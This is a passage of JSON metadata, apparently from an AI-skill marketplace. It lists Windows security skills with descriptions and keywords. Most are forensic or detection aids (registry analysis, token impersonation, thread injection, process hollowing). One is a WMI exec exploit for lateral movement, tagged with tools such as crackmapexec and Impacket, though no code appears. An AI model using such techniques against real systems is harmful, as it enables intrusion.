engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[124,102,125,104,126,127,39,38,34,128,129,130,131,132,31,133,134,30,135,136],"exploit","services wmi exec exploit","exec","remote","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":143,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[144,145,146,147,148,149,38,34,150,128,151,152,31,30,153,154,155,156,157,52],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":164,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[25,165,166,167,168,169,170,41,171,38,116,172,173,174,175,176,177,178,179,31],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":186,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[187,188,25,24,167,169,189,41,190,171,38,116,128,191,192,193,194,179,31,106],"thread","processes thread injection detect","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":201,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[202,25,167,203,189,41,204,205,38,116,206,207,208,209,210,211,31,106,212,213],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]